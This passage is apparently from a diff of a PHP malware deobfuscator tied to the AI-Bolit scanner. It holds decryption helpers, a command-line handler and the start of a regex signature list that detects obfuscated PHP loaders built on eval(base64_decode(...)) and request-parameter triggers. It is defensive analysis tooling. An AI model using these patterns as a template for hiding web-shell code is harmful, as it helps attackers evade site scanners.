- $lower_range = !$lower_range ? ord($rand) : $lower_range;
- $layer1 = '';
- for ($i=0, $iMax = strlen($str); $i < $iMax; $i++) {
- $layer1 .= ord($str[$i]) < 245 ? ((ord($str[$i]) > $lower_range && ord($str[$i]) < 245) ? chr(ord($str[$i]) / 2) : $str[$i]) : '';
- }
- $layer1 = base64_decode($layer1);
- $result = '';
- $j = $len_md5_xor = strlen($md5_xor);
- for ($i=0, $iMax = strlen($layer1); $i < $iMax; $i++) {
- $j = $j ? $j : $len_md5_xor;
- $j--;
- $result .= $layer1[$i] ^ $md5_xor[$j];
- }
- return $result;
- }
- public static function someDecoder4($ae, $key)
- {
- $at = array();
- for ($i = 0, $iMax = strlen($key); $i < $iMax; $i++) {
- if ((int)$key[$i] > 0) {
- $at[$i] = $key[$i];
- }
- }
- $at = array_values($at);
- $str = "";
- for ($i = 0, $iMax = count($ae); $i < $iMax; $i++) {
- if ($i < count($ae) - 1) {
- $str .= str_replace(md5($at[$i]), "", $ae[$i]);
- } else {
- $str .= $ae[$i];
- }
- }
- return $str;
- }
- public static function OELoveDecoder($arg1, $arg2 = '')
- {
- if (empty($arg1)) {
- return '';
- }
- $arg1 = base64_decode($arg1);
- if ($arg2 == '') return ~$arg1;
- //if ($arg2 == '-1') @271552362217();
- $len = strlen($arg1);
- $arg2 = str_pad($arg2, $len, $arg2);
- return $arg2 ^ $arg1;
- }
- public static function stripsquoteslashes($str)
- {
- $res = '';
- for ($i = 0, $iMax = strlen($str); $i < $iMax; $i++) {
- if (isset($str[$i+1]) && ($str[$i] == '\\' && ($str[$i+1] == '\\' || $str[$i+1] == '\''))) {
- continue;
- } else {
- $res .= $str[$i];
- }
- }
- return $res;
- }
- public static function isSafeFunc($str)
- {
- $safeFuncs = [
- 'base64_decode', 'gzinflate', 'gzuncompress', 'strrev',
- 'str_rot13', 'urldecode', 'rawurldecode', 'stripslashes',
- 'htmlspecialchars_decode', 'convert_uudecode','pack',
- 'str_repeat', 'sprintf', 'str_replace', 'strtr'
- ];
- return in_array(strtolower($str), $safeFuncs);
- }
- public static function aanKFMDigitsDecode($digits)
- {
- $res = '';
- $len = ceil(strlen($digits) / 3) * 3;
- $cipher = str_pad($digits, $len, '0', STR_PAD_LEFT);
- for ($i = 0; $i < (strlen($cipher) / 3);$i++) {
- $res .= chr(substr(strval($cipher), $i * 3, 3));
- }
- return $res;
- }
- public static function obf20200414_1_decrypt($data, $key)
- {
- $key = md5($key);
- $x = 0;
- $data = base64_decode($data);
- $len = strlen($data);
- $l = strlen($key);
- $char = '';
- for ($i = 0; $i < $len; $i++) {
- if ($x == $l) {
- $x = 0;
- }
- $char .= substr($key, $x, 1);
- $x++;
- }
- $str = '';
- for ($i = 0; $i < $len; $i++) {
- if (ord(substr($data, $i, 1)) < ord(substr($char, $i, 1))) {
- $str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1)));
- } else {
- $str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1)));
- }
- }
- return $str;
- }
- public static function Xtea_decrypt($text, $key)
- {
- $_key = '';
- $cbc = 1;
- if(is_array($key)) {
- $_key = $key;
- } else if(isset($key) && !empty($key)) {
- $_key = self::_str2long(str_pad($key, 16, $key));
- } else {
- $_key = array(0,0,0,0);
- }
- $plain = array();
- $cipher = self::_str2long(base64_decode($text));
- if($cbc == 1) {
- $i = 2;
- } else {
- $i = 0;
- }
- for ($i, $iMax = count($cipher); $i < $iMax; $i += 2) {
- $return = self::block_decrypt($cipher[$i], $cipher[$i+1], $_key);
- if($cbc == 1) {
- $plain[] = array($return[0] ^ $cipher[$i-2], $return[1] ^ $cipher[$i-1]);
- } else {
- $plain[] = $return;
- }
- }
- $output = "";
- for($i = 0, $iMax = count($plain); $i < $iMax; $i++) {
- $output .= self::_long2str($plain[$i][0]);
- $output .= self::_long2str($plain[$i][1]);
- }
- return $output;
- }
- public static function calculateMathStr($task)
- {
- $res = $task;
- while (preg_match('~\(?(\d+)([+\-*\/])(\d+)\)?~', $res, $subMatch)) {
- if (count($subMatch) === 4) {
- $subSearch = $subMatch[0];
- $operator = $subMatch[2];
- $number_1 = $subMatch[1];
- $number_2 = $subMatch[3];
- $res = str_replace($subSearch, self::calc("$number_1$operator$number_2"), $res);
- } else {
- return $res;
- }
- }
- return $res;
- }
- public static function decrypt_T_func($l)
- {
- $x2 = 256;
- $W2 = 8;
- $cY = array();
- $I3 = 0;
- $C4 = 0;
- for ($bs = 0; $bs < strlen($l); $bs++) {
- $I3 = ($I3 << 8) + ord($l[$bs]);
- $C4 += 8;
- if ($C4 >= $W2) {
- $C4 -= $W2;
- $cY[] = $I3 >> $C4;
- $I3 &= (1 << $C4) - 1;
- $x2++;
- if ($x2 >> $W2) {
- $W2++;
- }
- }
- }
- $K5 = range("\x0", "\377");
- $UH = '';
- foreach ($cY as $bs => $xd) {
- if (!isset($K5[$xd])) {
- $iU = $Co . $Co[0];
- } else {
- $iU = $K5[$xd];
- }
- $UH .= $iU;
- if ($bs) {
- $K5[] = $Co . $iU[0];
- }
- $Co = $iU;
- }
- return $UH;
- }
- public static function getDecryptKeyForTinkleShell($size)
- {
- $bx = md5(base64_encode($size));
- $len = strlen($bx);
- $arr = [];
- for ($i = 0; $i < $len; $i++) {
- $arr[] = substr($bx, $i, 1);
- }
- $arr = array_unique($arr);
- $newstr = "";
- foreach ($arr as $k => $v) {
- $newstr .= $v;
- }
- if (strlen($newstr) < 9) {
- if (strpos($newstr, 'A') === false) {
- $newstr .= 'A';
- }
- if (strpos($newstr, 'B') === false) {
- $newstr .= 'B';
- }
- if (strpos($newstr, 'C') === false) {
- $newstr .= 'C';
- }
- if (strpos($newstr, 'D') === false) {
- $newstr .= 'D';
- }
- if (strpos($newstr, 'E') === false) {
- $newstr .= 'E';
- }
- if (strpos($newstr, 'F') === false) {
- $newstr .= 'F';
- }
- if (strpos($newstr, 'G') === false) {
- $newstr .= 'G';
- }
- }
- return strtoupper($newstr);
- }
- /**
- * @param string $dictionary
- * @param string $content
- * @return array
- */
- public static function getVarsFromDictionary($dictionary, $content)
- {
- $vars = [];
- preg_match_all('~(\$\w+=(\s?\.?\s?\$\w+[{\[]\d+[\]}];?)+)~ms', $content, $concatMatches);
- for ($i = 0; $iMax = count($concatMatches), $i <= $iMax; $i++) {
- preg_match_all('~(\$\w+(=))?(\s?(\.?)\s?\$\w+[{\[](\d+)[\]}])~msi', $concatMatches[0][$i], $varMatches);
- for ($j = 0; $jMax = count($varMatches[0]), $j < $jMax; $j++) {
- $varName = substr($varMatches[1][0], 0, -1);
- $value = $dictionary[(int)$varMatches[5][$j]] ?? '';
- if ($varMatches[2][$j] === '=') {
- $vars[$varName] = $value;
- } else {
- $vars[$varName] .= $value;
- }
- }
- }
- return $vars;
- }
- /**
- * @param string $str
- * @return string
- */
- public static function concatVariableValues($str)
- {
- preg_match_all('/\$\w+\s?(\.?)=\s?"([\w]+)"/', $str, $concatVars);
- $strVar = "";
- foreach ($concatVars[2] as $index => $concatVar) {
- if ($concatVars[1][$index] === '.') {
- $strVar .= $concatVar;
- } else {
- $strVar = $concatVar;
- }
- }
- return $strVar;
- }
- /**
- * @param $dictionaryVar
- * @param $dictionaryValue
- * @param $str
- *
- * @return string
- */
- public static function replaceVarsFromDictionary($dictionaryVar, $dictionaryValue, $str)
- {
- $dictionaryName = $dictionaryVar;
- $result = $str;
- if (preg_match('~\$GLOBALS\[([\'"]\w+[\'"])\]~msi', $dictionaryVar, $match)) {
- $dictionaryName = '\$GLOBALS\[' . $match[1] . '\]';
- }
- $result = preg_replace_callback(
- '~(?:' . $dictionaryName . '\[(?:\d+)\]\s?\.?)+~msi',
- function ($match) use ($dictionaryValue) {
- preg_match_all('~\]\[(\d+)\]\.?~msi', $match[0], $varsMatch);
- $result = "";
- foreach ($varsMatch[1] as $index) {
- $result .= $dictionaryValue[(int)$index];
- }
- return "'$result'";
- },
- $result
- );
- return $result;
- }
- /**
- * Collects simple or concated vars from str
- * @param string $str
- * @param string $trimQuote
- *
- * @return array
- */
- public static function collectVars($str, string $trimQuote = '"') : array
- {
- $vars = [];
- preg_match_all('~(\$\w+)\s?=\s?(["\'\w\.]+)~msi', $str, $matches);
- foreach ($matches[1] as $index => $match) {
- $vars[$match] = str_replace("$trimQuote.$trimQuote", '', $matches[2][$index]);
- $vars[$match] = trim($vars[$match], $trimQuote);
- }
- return $vars;
- }
- /**
- * @param array $vars
- * @param string $str
- *
- * @return string
- */
- public static function replaceVarsFromArray(array $vars, string $str) : string
- {
- $result = $str;
- foreach ($vars as $name => $value) {
- $result = str_replace($name, $value, $result);
- }
- return $result;
- }
- private static function block_decrypt($y, $z, $key)
- {
- $delta = 0x9e3779b9;
- $sum = 0xC6EF3720;
- $n = 32;
- for ($i = 0; $i < 32; $i++) {
- $z = self::_add($z, -(self::_add($y << 4 ^ self::_rshift($y, 5), $y)
- ^ self::_add($sum, $key[self::_rshift($sum, 11) & 3])));
- $sum = self::_add($sum, -$delta);
- $y = self::_add($y, -(self::_add($z << 4 ^ self::_rshift($z, 5), $z)
- ^ self::_add($sum, $key[$sum & 3])));
- }
- return [$y, $z];
- }
- private static function _rshift($integer, $n)
- {
- if (0xffffffff < $integer || -0xffffffff > $integer) {
- $integer = fmod($integer, 0xffffffff + 1);
- }
- if (0x7fffffff < $integer) {
- $integer -= 0xffffffff + 1.0;
- } else if (-0x80000000 > $integer) {
- $integer += 0xffffffff + 1.0;
- }
- if (0 > $integer) {
- $integer &= 0x7fffffff;
- $integer >>= $n;
- $integer |= 1 << (31 - $n);
- } else {
- $integer >>= $n;
- }
- return $integer;
- }
- private static function _add($i1, $i2)
- {
- $result = 0.0;
- foreach (func_get_args() as $value) {
- if (0.0 > $value) {
- $value -= 1.0 + 0xffffffff;
- }
- $result += $value;
- }
- if (0xffffffff < $result || -0xffffffff > $result) {
- $result = fmod($result, 0xffffffff + 1);
- }
- if (0x7fffffff < $result) {
- $result -= 0xffffffff + 1.0;
- } else if (-0x80000000 > $result) {
- $result += 0xffffffff + 1.0;
- }
- return $result;
- }
- private static function _str2long($data)
- {
- $tmp = unpack('N*', $data);
- $data_long = [];
- $j = 0;
- foreach ($tmp as $value) $data_long[$j++] = $value;
- return $data_long;
- }
- private static function _long2str($l){
- return pack('N', $l);
- }
- ///////////////////////////////////////////////////////////////////////////
- }
- ///////////////////////////////////////////////////////////////////////////
- function parseArgs($argv)
- {
- array_shift($argv);
- $o = array();
- foreach ($argv as $a) {
- if (substr($a, 0, 2) == '--') {
- $eq = strpos($a, '=');
- if ($eq !== false) {
- $o[substr($a, 2, $eq - 2)] = substr($a, $eq + 1);
- } else {
- $k = substr($a, 2);
- if (!isset($o[$k])) {
- $o[$k] = true;
- }
- }
- } else {
- if (substr($a, 0, 1) == '-') {
- if (substr($a, 2, 1) == '=') {
- $o[substr($a, 1, 1)] = substr($a, 3);
- } else {
- foreach (str_split(substr($a, 1)) as $k) {
- if (!isset($o[$k])) {
- $o[$k] = true;
- }
- }
- }
- } else {
- $o[] = $a;
- }
- }
- }
- return $o;
- }
- ////////////////////////////////////////////////////////////////////////////////////////////////////////
- // cli handler
- if (!defined('AIBOLIT_START_TIME') && !defined('PROCU_CLEAN_DB') && @strpos(__FILE__, @$argv[0])!==false) {
- set_time_limit(0);
- ini_set('max_execution_time', '900000');
- ini_set('realpath_cache_size', '16M');
- ini_set('realpath_cache_ttl', '1200');
- ini_set('pcre.backtrack_limit', '1000000');
- ini_set('pcre.recursion_limit', '12500');
- ini_set('pcre.jit', '1');
- $options = parseArgs($argv);
- $str = php_strip_whitespace($options[0]);
- $str2 = file_get_contents($options[0]);
- $l_UnicodeContent = Helpers::detect_utf_encoding($str);
- $l_UnicodeContent2 = Helpers::detect_utf_encoding($str2);
- if ($l_UnicodeContent !== false) {
- if (function_exists('iconv')) {
- $str = iconv($l_UnicodeContent, "UTF-8", $str);
- $str2 = iconv($l_UnicodeContent2, "UTF-8", $str2);
- }
- }
- $d = new Deobfuscator($str, $str2);
- $start = microtime(true);
- $deobf_type = $d->getObfuscateType($str);
- if ($deobf_type != '') {
- $str = $d->deobfuscate();
- }
- $code = $str;
- if (isset($options['prettyprint'])) {
- $code = Helpers::normalize($code);
- $code = Helpers::format($code);
- }
- if ($l_UnicodeContent !== false) {
- if (function_exists('iconv')) {
- $code = iconv('UTF-8', $l_UnicodeContent . '//IGNORE', $code);
- }
- }
- echo $code;
- echo "\n";
- //echo 'Execution time: ' . round(microtime(true) - $start, 4) . ' sec.';
- }
- class Deobfuscator
- {
- private $signatures = array(
- array(
- 'full' => '~for\((\$\w{1,40})=\d+,(\$\w+)=\'([^\$]+)\',(\$\w+)=\'\';@?ord\(\2\[\1\]\);\1\+\+\)\{if\(\1<\d+\)\{(\$\w+)\[\2\[\1\]\]=\1;\}else\{\$\w+\.\=@?chr\(\(\5\[\2\[\1\]\]<<\d+\)\+\(\5\[\2\[\+\+\1\]\]\)\);\}\}\s*.{0,500}eval\(\4\);(if\(isset\(\$_(GET|REQUEST|POST|COOKIE)\[[\'"][^\'"]+[\'"]\]\)\)\{[^}]+;\})?~msi',
- 'fast' => '~for\((\$\w{1,40})=\d+,(\$\w+)=\'([^\$]+)\',(\$\w+)=\'\';@?ord\(\2\[\1\]\);\1\+\+\)\{if\(\1<\d+\)\{(\$\w+)\[\2\[\1\]\]=\1;\}else\{\$\w+\.\=@?chr\(\(\5\[\2\[\1\]\]<<\d+\)\+\(\5\[\2\[\+\+\1\]\]\)\);\}\}\s*.{0,500}eval\(\4\);~msi',
- 'id' => 'parenthesesString'),
- array(
- 'full' => '~(\$\w+)\s*=\s*basename\s*\(trim\s*\(preg_replace\s*\(rawurldecode\s*\([\'"][%0-9a-f\.]+["\']\),\s*\'\',\s*__FILE__\)\)\);\s*(\$\w+)\s*=\s*["\']([^\'"]+)["\'];\s*eval\s*\(rawurldecode\s*\(\2\)\s*\^\s*substr\s*\(str_repeat\s*\(\1,\s*\(strlen\s*\(\2\)/strlen\s*\(\1\)\)\s*\+\s*1\),\s*0,\s*strlen\s*\(\2\)\)\);~msi',
- 'fast' => '~(\$\w+)\s*=\s*basename\s*\(trim\s*\(preg_replace\s*\(rawurldecode\s*\([\'"][%0-9a-f\.]+["\']\),\s*\'\',\s*__FILE__\)\)\);\s*(\$\w+)\s*=\s*["\']([^\'"]+)["\'];\s*eval\s*\(rawurldecode\s*\(\2\)\s*\^\s*substr\s*\(str_repeat\s*\(\1,\s*\(strlen\s*\(\2\)/strlen\s*\(\1\)\)\s*\+\s*1\),\s*0,\s*strlen\s*\(\2\)\)\);~msi',
- 'id' => 'xorFName'),
- array(
- 'full' =>
- '~(\$\w{1,40})=base64_decode\(\'[^\']+\'\);(\$\w+)=base64_decode\(\'[^\']+\'\);(\$\w+)=base64_decode\(\'([^\']+)\'\);eval\(\1\(gzuncompress\(\2\(\3\)\)\)\);~msi',
- 'fast' => '~(\$\w{1,40})=base64_decode\(\'[^\']+\'\);(\$\w+)=base64_decode\(\'[^\']+\'\);(\$\w+)=base64_decode\(\'([^\']+)\'\);eval\(\1\(gzuncompress\(\2\(\3\)\)\)\);~msi',
- 'id' => 'phpMess'),
- array(
- 'full' =>
- '~(\$\w{1,40})\s*=\s*\"([^\"]+)\";\s*\$\w+\s*=\s*\$\w+\(\1,\"[^\"]+\",\"[^\"]+\"\);\s*\$\w+\(\"[^\"]+\",\"[^\"]+\",\"\.\"\);~msi',
- 'fast' => '~(\$\w{1,40})\s*=\s*\"([^\"]+)\";\s*\$\w+\s*=\s*\$\w+\(\1,\"[^\"]+\",\"[^\"]+\"\);\s*\$\w+\(\"[^\"]+\",\"[^\"]+\",\"\.\"\);~msi',
- 'id' => 'pregReplaceSample05'),
- array(
- 'full' => '~(\$\w{1,40})\s*=\s*\w+\(\'.+?\'\);\s*(\$\w+)\s*=\s*\w+\(\'.+?\'\);\s*(\$\w+)\s*=\s*\"([^\"]+)\";\s*(\$\w+)\s*=\s*.+?;\s*\2\(\5,\"[^\']+\'\3\'[^\"]+\",\"\.\"\);~msi',
- 'fast' => '~(\$\w{1,40})\s*=\s*\w+\(\'.+?\'\);\s*(\$\w+)\s*=\s*\w+\(\'.+?\'\);\s*(\$\w+)\s*=\s*\"([^\"]+)\";\s*(\$\w+)\s*=\s*.+?;\s*\2\(\5,\"[^\']+\'\3\'[^\"]+\",\"\.\"\);~msi',
- 'id' => 'pregReplaceB64'),
- array(
- 'full' => '~(\$\w{1,40})\s*=\s*\'([^\']+)\';\s*\1\s*=\s*gzinflate\s*\(base64_decode\s*\(\1\)\);\s*\1\s*=\s*str_replace\s*\(\"__FILE__\",\"\'\$\w+\'\",\1\);\s*eval\s*\(\1\);~msi',
- 'fast' => '~(\$\w{1,40})\s*=\s*\'([^\']+)\';\s*\1\s*=\s*gzinflate\s*\(base64_decode\s*\(\1\)\);\s*\1\s*=\s*str_replace\s*\(\"__FILE__\",\"\'\$\w+\'\",\1\);\s*eval\s*\(\1\);~msi',
- 'id' => 'GBE'),
- array(
- 'full' => '~(\$GLOBALS\[\s*[\'"]_+\w{1,60}[\'"]\s*\])\s*=\s*\s*array\s*\(\s*base64_decode\s*\(.+?((.+?\1\[\d+\]).+?)+[^;]+;(\s*include\(\$_\d+\);)?}?((.+?___\d+\(\d+\))+[^;]+;)?(.*?(\$[a-z]+).+\8_\d+;)?(echo\s*\$\w+;})?}?~msi',
- 'fast' => '~\$GLOBALS\[\s*[\'"]_+\w{1,60}[\'"]\s*\]\s*=\s*\s*array\s*\(\s*base64_decode\s*\(~msi',
- 'id' => 'Bitrix'),
- array(
- 'full' => '~\$\w{1,40}\s*=\s*(__FILE__|__LINE__);\s*\$\w{1,40}\s*=\s*(\d+);\s*eval(\s*\()+\$?\w+\s*\([\'"][^\'"]+[\'"](\s*\))+;\s*return\s*;\s*\?>(.+)~msi',
- 'fast' => '~\$\w{1,40}\s*=\s*(__FILE__|__LINE__);\s*\$\w{1,40}\s*=\s*(\d+);\s*eval(\s*\()+\$?\w+\s*\([\'"][^\'"]+[\'"](\s*\))+;\s*return\s*;\s*\?>(.+)~msi',
- 'id' => 'B64inHTML'),
- array(
- 'full' => '~(?:\$[O0]*=__FILE__;)?\$[O0]*=urldecode\(\'[%a-f0-9]+\'\);(\$(GLOBALS\[\')?[O0]*(\'\])?=(\d+);)?\s*(\$(GLOBALS\[\')?[O0]*(\'\])?\.?=(\$(GLOBALS\[\')?[O0]*(\'\])?([\{\[]\d+[\}\]])?\.?)+;)+[^\?]+\?\>[\s\w\~\=\/\+\\\\\^\{\`\%]+~msi',
- 'fast' => '~(?:\$[O0]*=__FILE__;)?\$[O0]*=urldecode\(\'[%a-f0-9]+\'\);(?:\$(GLOBALS\[\')?[O0]*(?:\'\])?=\d+;)?\s*(?:\$(?:GLOBALS\[\')?[O0]*(?:\'\])?\.?=(?:\$(?:GLOBALS\[\')?[O0]*(?:\'\])?(?:[\{\[]\d+[\}\]])?\.?)+;)+[^\?]+\?\>[\s\w\~\=\/\+\\\\\^\{\`\%]+~msi',
- 'id' => 'LockIt'),
- array(
- 'full' => '~(\$\w{1,40})\s*=\s*\"(\\\\142|\\\\x62)[0-9a-fx\\\\]+";\s*@?eval\s*\(\1\s*\([^\)]+\)+\s*;~msi',
- 'fast' => '~(\$\w{1,40})\s*=\s*\"(\\\\142|\\\\x62)[0-9a-fx\\\\]+";\s*@?eval\s*\(\1\s*\(~msi',
- 'id' => 'FOPO'),
- array(
- 'full' => '~\$_F=__FILE__;\$_X=\'([^\']+\');eval\([^\)]+\)+;~msi',
- 'fast' => '~\$_F=__FILE__;\$_X=\'([^\']+\');eval\(~ms',
- 'id' => 'ByteRun'),
- array(
- 'full' => '~(\$\w{1,40}=\'[^\']+\';\s*)+(\$[\w{1,40}]+)=(urldecode|base64_decode){0,1}\(?[\'"]([\w+%=-]+)[\'"]\)?;(\$[\w+]+=(\$(\w+\[\')?[O_0]*(\'\])?([\{\[]\d+[\}\]])?\.?)+;)+[^\?]+(\?\>[\w\~\=\/\+]+|.+\\\\x[^;]+;)~msi',
- 'fast' => '~(\$\w{1,40}=\'[^\']+\';\s*)+(\$[\w{1,40}]+)=(urldecode|base64_decode){0,1}\(?[\'"]([\w+%=-]+)[\'"]\)?;(\$[\w+]+=(\$(\w+\[\')?[O_0]*(\'\])?([\{\[]\d+[\}\]])?\.?)+;)+[^\?]+(\?\>[\w\~\=\/\+]+|.+\\\\x[^;]+;)~msi',
- 'id' => 'Urldecode'),
- array(
- 'full' => '~(\$[\w{1,40}]+)=(urldecode|base64_decode)\(?[\'"]([\w+%=-]+)[\'"]\);(\s*\$\w+\.?=(\$\w+\{\d+\}\s*[\.;]?\s*)+)+((\$\w+=["\']([^\'"]+)[\'"];\s*eval\(\'\?>\'\.[\$\w\(\)\*\d,\s]+);|(eval\(\$\w+\([\'"]([^\'"]+)[\'"]\)+;))~msi',
- 'fast' => '~(\$[\w{1,40}]+)=(urldecode|base64_decode)\(?[\'"]([\w+%=-]+)[\'"]\);(\s*\$\w+\.?=(\$\w+\{\d+\}\s*[\.;]?\s*)+)+((\$\w+=["\']([^\'"]+)[\'"];\s*eval\(\'\?>\'\.[\$\w\(\)\*\d,\s]+);|(eval\(\$\w+\([\'"]([^\'"]+)[\'"]\)+;))~msi',
- 'id' => 'UrlDecode2',
- ),
- array(
- 'full' => '~explode\(\"\*\*\*\",\s*\$\w+\);\s*eval\(eval\(\"return strrev\(base64_decode\([^\)]+\)+;~msi',
- 'fast' => '~explode\(\"\*\*\*\",\s*\$\w+\);\s*eval\(eval\(\"return strrev\(base64_decode\(~msi',
- 'id' => 'cobra'),
- array(
- 'full' => '~\$[O0]+=\(base64_decode\(strtr\(fread\(\$[O0]+,(\d+)\),\'([^\']+)\',\'([^\']+)\'\)\)\);eval\([^\)]+\)+;~msi',
- 'fast' => '~\$[O0]+=\(base64_decode\(strtr\(fread\(\$[O0]+,(\d+)\),\'([^\']+)\',\'([^\']+)\'\)\)\);eval\(~msi',
- 'id' => 'strtrFread'),
- array(
- 'full' => '~if\s*\(\!extension_loaded\(\'IonCube_loader\'\)\).+pack\(\"H\*\",\s*\$__ln\(\"/\[A-Z,\\\\r,\\\\n\]/\",\s*\"\",\s*substr\(\$__lp,\s*([0-9a-fx]+\-[0-9a-fx]+)\)\)\)[^\?]+\?\>\s*[0-9a-z\r\n]+~msi',
- 'fast' => '~IonCube_loader~ms',
- 'id' => 'FakeIonCube'),
- array(
- 'full' => '~(\$\w{1,40})="([\w\]\[\<\&\*\_+=/]{300,})";\$\w+=\$\w+\(\1,"([\w\]\[\<\&\*\_+=/]+)","([\w\]\[\<\&\*\_+=/]+)"\);~msi',
- 'fast' => '~(\$\w{1,40})="([\w\]\[\<\&\*\_+=/]{300,})";\$\w+=\$\w+\(\1,"([\w\]\[\<\&\*\_+=/]+)","([\w\]\[\<\&\*\_+=/]+)"\);~msi',
- 'id' => 'strtrBase64'),
- array(
- 'full' => '~\$\w+\s*=\s*array\((\'[^\']+\',?)+\);\s*.+?(\$_\w{1,40}\[\w+\])\s*=\s*explode\(\'([^\']+)\',\s*\'([^\']+)\'\);.+?(\2\[[a-fx\d]+\])\(\);(.+?\2)+.+}~msi',
- 'fast' => '~(\$_\w{1,40}\[\w+\])\s*=\s*explode\(\'([^\']+)\',\s*\'([^\']+)\'\);.+?(\1\[[a-fx\d]+\])\(\);~msi',
- 'id' => 'explodeSubst'),
- array(
- 'full' => '~(\$[\w{1,40}]+)\s*=\s*\'([\w+%=\-\#\\\\\'\*]+)\';(\$[\w+]+)\s*=\s*Array\(\);(\3\[\]\s*=\s*(\1\[\d+\]\.?)+;+)+(.+\3)[^}]+}~msi',
- 'fast' => '~(\$[\w{1,40}]+)\s*=\s*\'([\w+%=\-\#\\\\\'\*]+)\';(\$[\w+]+)\s*=\s*Array\(\);(\3\[\]\s*=\s*(\1\[\d+\]\.?)+;+)+~msi',
- 'id' => 'subst'),
- array(
- 'full' => '~if\(!function_exists\(\"(\w+)\"\)\){function \1\(.+?eval\(\1\(\"[^\"]+\"\)\);~msi',
- 'fast' => '~if\(!function_exists\(\"(\w+)\"\)\){function \1\(.+?eval\(\1\(\"[^\"]+\"\)\);~msi',
- 'id' => 'decoder'),
- array(
- 'full' => '~(\$\w{1,40})\s*=\s*\"riny\(\"\.(\$\w+)\(\"base64_decode\"\);\s*(\$\w+)\s*=\s*\2\(\1\.\'\("([^"]+)"\)\);\'\);\s*\$\w+\(\3\);~msi',
- 'fast' => '~(\$\w{1,40})\s*=\s*\"riny\(\"\.(\$\w+)\(\"base64_decode\"\);\s*(\$\w+)\s*=\s*\2\(\1\.\'\("([^"]+)"\)\);\'\);\s*\$\w+\(\3\);~msi',
- 'id' => 'GBZ'),
- array(
- 'full' => '~\$\w+\s*=\s*\d+;\s*\$GLOBALS\[\'[^\']+\'\]\s*=\s*Array\(\);\s*global\s*\$\w+;(\$\w{1,40})\s*=\s*\$GLOBALS;\$\{"\\\\x[a-z0-9\\\\]+"\}\[(\'\w+\')\]\s*=\s*\"(([^\"\\\\]|\\\\.)*)\";\1\[(\1\[\2\]\[\d+\].?).+?exit\(\);\}+~msi',
- 'fast' => '~(\$\w{1,40})\s*=\s*\$GLOBALS;\$\{"\\\\x[a-z0-9\\\\]+"\}\[(\'\w+\')\]\s*=\s*\"(([^\"\\\\]|\\\\.)*)\";\1\[(\1\[\2\]\[\d+\].?)~msi',
- 'id' => 'globalsArray'),
- array(
- 'full' => '~(\${(["\w\\\\]+)}\[["\w\\\\]+\]=["\w\\\\]+;)+((\${\${(["\w\\\\]+)}\[["\w\\\\]+\]}).?=((urldecode\(["%\w]+\);)|(\${\${["\w\\\\]+}\[["\w\\\\]+\]}{\d+}.?)+;))+eval\(\${\${["\w\\\\]+}\[["\w\\\\]+\]}\(["\w+=]+\)\);~msi',
- 'fast' => '~(\${(["\w\\\\]+)}\[["\w\\\\]+\]=["\w\\\\]+;)+((\${\${(["\w\\\\]+)}\[["\w\\\\]+\]}).?=((urldecode\(["%\w]+\);)|(\${\${["\w\\\\]+}\[["\w\\\\]+\]}{\d+}.?)+;))+eval\(\${\${["\w\\\\]+}\[["\w\\\\]+\]}\(["\w+=]+\)\);~msi',
- 'id' => 'xbrangwolf'),
- array(
- 'full' => '~(\$\w{1,40})\s*=\s*\'(\\\\.|[^\']){0,100}\';\s*\$\w+\s*=\s*\'(\\\\.|[^\']){0,100}\'\^\1;[^)]+\)+;\s*\$\w+\(\);~msi',
- 'fast' => '~(\$\w{1,40})\s*=\s*\'(\\\\.|[^\']){0,100}\';\s*\$\w+\s*=\s*\'(\\\\.|[^\']){0,100}\'\^\1;~msi',
- 'id' => 'xoredVar'),
- array(
- 'full' => '~(\$\w{1,40})\s*=\s*\'([^\']*)\';\s*(\$\w{1,40})\s*=\s*explode\s*\((chr\s*\(\s*\(\d+\-\d+\)\)),substr\s*\(\1,\s*\((\d+\-\d+)\),\s*\(\s*(\d+\-\d+)\)\)\);\s*(\$\w{1,40})\s*=\s*\3\[\d+\]\s*\(\3\[\s*\(\d+\-\d+\)\]\);\s*(\$\w{1,40})\s*=\s*\3\[\d+\]\s*\(\3\[\s*\(\d+\-\d+\)\]\);\s*if\s*\(!function_exists\s*\(\'([^\']*)\'\)\)\s*\{\s*function\s*\9\s*\(.+\1\s*=\s*\$\w+[+\-\*]\d+;~msi',
- 'fast' => '~(\$\w{1,40})\s=\s\'([^\']*)\';\s(\$\w{1,40})=explode\((chr\(\(\d+\-\d+\)\)),substr\(\1,\((\d+\-\d+)\),\((\d+\-\d+)\)\)\);\s(\$\w{1,40})\s=\s\3\[\d+\]\(\3\[\(\d+\-\d+\)\]\);\s(\$\w{1,40})\s=\s\3\[\d+\]\(\3\[\(\d+\-\d+\)\]\);\sif\s\(!function_exists\(\'([^\']*)\'\)\)\s\{\sfunction\s*\9\(~msi',
- 'id' => 'arrayOffsets'),
- array(
- 'full' => '~(\$\w{1,50}\s*=\s*array\((\'\d+\',?)+\);)+\$\w{1,40}=\"([^\"]+)\";if\s*\(!function_exists\(\"\w{1,50}\"\)\)\s*\{\s*function\s*[^\}]+\}\s*return\s*\$\w+;\}[^}]+}~msi',
- 'fast' => '~(\$\w{1,50}=\s*array\((\'\d+\',?)+\);)+\$\w{1,40}=\"[^\"]+\";if\s*\(!function_exists\(\"\w{1,50}\"\)\)\{\s*function ~msi',
- 'id' => 'obfB64'),
- array(
- 'full' => '~if\(\!function_exists\(\'findsysfolder\'\)\){function findsysfolder\(\$fld\).+\$REXISTHEDOG4FBI=\'([^\']+)\';\$\w+=\'[^\']+\';\s*eval\(\w+\(\'([^\']+)\',\$REXISTHEDOG4FBI\)\);~msi',
- 'fast' => '~if\(!function_exists\(\'findsysfolder\'\)\){function findsysfolder\(\$fld\)\{\$fld1=dirname\(\$fld\);\$fld=\$fld1\.\'/scopbin\';clearstatcache\(\);if\(!is_dir\(\$fld\)\)return findsysfolder\(\$fld1\);else return \$fld;\}\}require_once\(findsysfolder\(__FILE__\)\.\'/911006\.php\'\);~msi',
- 'id' => 'sourceCop'),
- array(
